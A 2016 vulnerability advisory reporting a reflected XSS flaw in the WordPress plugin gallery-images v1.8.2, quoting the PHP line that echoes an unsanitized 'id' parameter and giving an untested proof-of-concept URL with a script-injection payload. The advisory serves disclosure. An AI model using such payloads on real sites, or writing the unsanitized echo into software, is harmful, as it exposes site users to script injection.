Advisory #: 536
Title: Reflected XSS in wordpress plugin gallery-images v1.8.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/gallery-images
Downloads: 520315
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: gallery-images
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./gallery-images/admin/gallery_view.php: 685: <a href="admin.php?page=gallerys_huge_it_gallery&task=gallery_video&id=<?php echo $_GET['id']; ?>&TB_iframe=1" class="button button-primary add-video-slide thickbox" id="slideup3s" value="iframepop"> The variable id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./gallery-images/admin/gallery_view.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/gallery-images/admin/gallery_view.php?id="><script>alert(1);</script><"